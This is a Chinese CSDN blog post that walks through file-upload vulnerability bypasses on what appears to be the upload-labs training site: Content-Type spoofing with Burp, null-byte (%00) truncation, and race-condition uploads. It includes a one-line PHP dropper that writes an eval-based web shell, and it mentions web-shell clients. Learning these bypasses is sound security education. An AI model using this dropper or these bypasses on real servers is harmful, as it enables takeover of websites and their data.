文件上传漏洞

最新推荐文章于 2022-08-14 21:29:36 发布

一只夜猫

最新推荐文章于 2022-08-14 21:29:36 发布

阅读量99

点赞数

分类专栏： web安全

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/weixin_44319338/article/details/98042877

版权

web安全专栏收录该内容

0 篇文章 0 订阅

订阅专栏

绕过content-type 判断

后台的判断程序如下：
在这里插入图片描述

进入网站
在这里插入图片描述
使用brup修改Content-Type:的类型

修改完后发送

使用菜刀连接一句话木马

在这里插入图片描述

通过字符截断上传文件

进入网站
在这里插入图片描述

使用brup拦截数据包修改文件的名字和保存路径加入%00进行截断
在这里插入图片描述

上传成功
在这里插入图片描述
通过蚁连接木马

在这里插入图片描述

二进制00截断上传

在这里插入图片描述

在这里插入图片描述

竞争上传1

后台代码
在这里插入图片描述
用上传文件创建木马

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"])?>');?>

上传文件后10秒内打开文件创建木马
在这里插入图片描述
木马创建成功

竞争上传2

通过审计后台程序
在这里插入图片描述

通过brupsuite连续重复上传

在这里插入图片描述

再不断打开http://172.16.13.45/upload-labs/upload/11.php 来创建木马
在这里插入图片描述

不断刷新后木马创建成功
在这里插入图片描述
连接木马

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
文件上传漏洞

绕过content-type 判断后台的判断程序如下：进入网站使用brup修改Content-Type:的类型修改完后发送使用菜刀连接一句话木马通过字符截断上传文件进入网站使用brup拦截数据包修改文件的名字和保存路径加入%00进行截断上传成功通过蚁连接木马...
复制链接

扫一扫

专栏目录

评论

被折叠的条评论为什么被折叠?

到【灌水乐园】发言

查看更多评论

添加红包

成就一亿技术人!

hope_wisdom

发出的红包

实付元

使用余额支付

点击重新获取

扫码支付

钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。